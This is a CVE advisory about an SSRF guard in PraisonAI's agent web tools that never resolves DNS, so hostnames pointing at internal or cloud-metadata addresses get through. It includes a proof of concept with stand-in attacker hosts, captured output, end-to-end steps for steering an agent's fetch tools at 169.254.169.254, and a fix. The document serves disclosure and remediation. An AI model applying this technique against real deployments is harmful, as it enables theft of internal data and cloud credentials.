CVE-2026-57126
praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS
描述
# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI **Weakness:** CWE-918 Server-Side Request Forgery (SSRF). --- ## Summary The SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required. The guard's own docstring claims it returns `True` "when hostname **resolves to** loopback/private/internal targets," but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* "host is a name that resolves to a forbidden address." The same guard is reached through two tool surfaces: - `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools) - the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`) The correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not. ## Affected packages - `pip/praisonaiagents` <= 1.6.39 - `pip/PraisonAI` <= 4.6.39 ## Root cause `praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26): ```python def _host_is_blocked(hostname: str) -> bool: """Return True when hostname resolves to loopback/private/internal targets.""" ... if host.isdigit(): # decimal-int IPv4 literal return _ip_blocked(ipaddress.ip_address(int(host))) if host.startswith("0x"): # hex IPv4 literal return _ip_blocked(ipaddress.ip_address(int(host, 16))) try: return _ip_blocked(ipaddress.ip_address(host)) # dotted v4 / v6 literal except ValueError: pass try: return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host))) # octal/short v4 except OSError: pass return False # <-- any DNS name lands here ``` Every branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` — "not blocked." `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path. `_validate_url` (def line 74) ends with: ```python if _host_is_blocked(parsed.hostname): return False return True ``` so a name verdict of "not blocked" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273–284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`. The literal-IP coverage is otherwise good — Python's `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue. ### The promise that was broken The block set explicitly contains `"169.254.169.254"` and `"metadata.google.internal"` (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens. ## Proof of concept ```python import socket from praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools # Literal forms the CVE-2026-47390 fix added — correctly blocked: for h in ["127.0.0.1", "2130706433", "0x7f000001", "169.254.169.254", "::1"]: assert _host_is_blocked(h) is True, h # DNS names that resolve to internal targets — NOT blocked (the class the fix missed): for h in ["attacker-controlled.example", "metadata-thief.com", "rebind.attacker.net"]: assert _host_is_blocked(h) is False, h # A record may be 127.0.0.1 / 169.254.169.254 st = SpiderTools assert st._validate_url("http://127.0.0.1/") is False # literal blocked assert st._validate_url("http://metadata-thief.com/") is True # name passes -> request fires # The guard never even attempts resolution: import praisonaiagents.tools.spider_tools as S S.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError("RESOLVER CALLED")) assert _host_is_blocked("attacker.example") is False # no RuntimeError -> never resolved print("[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation") ``` End-to-end against a deployed agent: point any controlled domain's A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context. ## Remediation Resolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching — the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339–344): ```python resolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == "https" else 80)) for family, _, _, _, sockaddr in resolved: if _ip_blocked(ipaddress.ip_address(sockaddr[0])): return True # blocked ``` To also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept shown above against the cloned source. 3. Observe the result shown under *Verified result* below. ## Verified result This PoC was executed against the live upstream code; captured output: ``` == Literal internal/loopback encodings — correctly BLOCKED == 127.0.0.1 blocked=True 2130706433 blocked=True 0x7f000001 blocked=True 169.254.169.254 blocked=True ::1 blocked=True localhost blocked=True 10.0.0.5 blocked=True == DNS names whose A-record could point internal — NOT blocked (the gap) == attacker-controlled.example blocked=False metadata-thief.com blocked=False rebind.attacker.net blocked=False == Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) == _host_is_blocked('metadata-thief.com') = False (no RuntimeError -> DNS never resolved) == _validate_url verdict (replicating the method's host check on the real func) == http://127.0.0.1/ -> validate=False (blocked) http://metadata-thief.com/ -> validate=True (PASSES -> request fires) [+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called. ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.